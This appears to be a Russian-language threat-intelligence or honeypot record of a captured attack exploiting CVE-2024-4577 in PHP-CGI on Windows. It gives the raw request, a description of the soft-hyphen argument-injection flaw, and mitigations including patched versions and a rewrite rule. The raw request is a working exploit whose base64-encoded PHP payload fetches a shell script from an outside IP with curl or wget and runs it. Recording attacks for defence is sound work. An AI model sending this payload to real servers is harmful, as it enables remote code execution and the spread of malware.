Информация об атаке

Tag
CVE-2024-4577
Date
2025-04-07
Client IP
115.190.85.6
Client GEO
china 
Vendor
PHP 
Product
PHP 
RAW request
POST /hello.world?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp%3A%2F%2Finput HTTP/1.0
User-Agent: Custom-AsyncHttpClient
Host: ████████████
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
X-Forwarded-For: ████████████
Accept: */*
Upgrade-Insecure-Requests: 1
Connection: close

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNC4yNDUuMjQwLjI4L3NoIHx8IHdnZXQgaHR0cDovLzEwNC4yNDUuMjQwLjI4L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA==")); echo(md5("Hello CVE-2024-4577")); ?>
Description

CVE-2024-4577 - это критическая уязвимость в PHP с оценкой CVSS v3 9.8, что указывает на ее высокую серьезность. Эта уязвимость затрагивает все версии PHP для Windows, особенно в конфигурациях на традиционном китайском, упрощенном китайском и японском языках, даже в стандартных установках с использованием XAMPP. Уязвимость возникает из-за того, что CGI-движок не экранирует мягкий дефис (0xAD), который PHP интерпретирует как реальный дефис, позволяя злоумышленникам добавлять дополнительные аргументы и эксплуатировать систему.

Уязвимость может быть использована удаленно путем манипулирования параметрами URL, что приводит к удаленной инъекции команд. Это означает, что злоумышленник может выполнить произвольный PHP-код на сервере, раскрыть исходный код скриптов и потенциально получить полный контроль над затронутой системой. Эксплуатация возможна, если программное обеспечение PHP настроено в режиме CGI и если бинарные файлы php.exe или php-cgi.exe доступны, что часто встречается в стандартных установках XAMPP на Windows.

Уязвимость была быстро использована, и доступно несколько доказательств концепции (PoC) и публичных эксплойтов. В частности, программа-вымогатель TellYouThePass использовала эту уязвимость для распространения своего вредоносного ПО. Наличие уязвимости можно определить по номеру версии или с помощью скриптов или шаблонов Nuclei.

Учитывая ее критический характер, необходимо немедленно устранить эту уязвимость, чтобы предотвратить возможную эксплуатацию и минимизировать связанные с этим риски.

Mitigations

Для смягчения последствий CVE-2024-4577 необходимо обновить программное обеспечение PHP до одной из новых исправленных версий, устраняющих эту уязвимость:

  • PHP 8.3.8
  • PHP 8.2.20
  • PHP 8.1.29

В качестве временной меры можно переписать следующее правило, которое совместимо с установками на традиционном китайском, упрощенном китайском и японском языках:

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

Для стандартных установок XAMPP на Windows можно закомментировать следующую строку в файле httpd-xampp.conf:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

Кроме того, рекомендуется рассмотреть возможность перехода на более безопасные архитектуры, такие как Mod-PHP, FastCGI или PHP-FPM. Регулярный мониторинг обновлений и своевременное применение патчей также могут помочь снизить риск эксплуатации.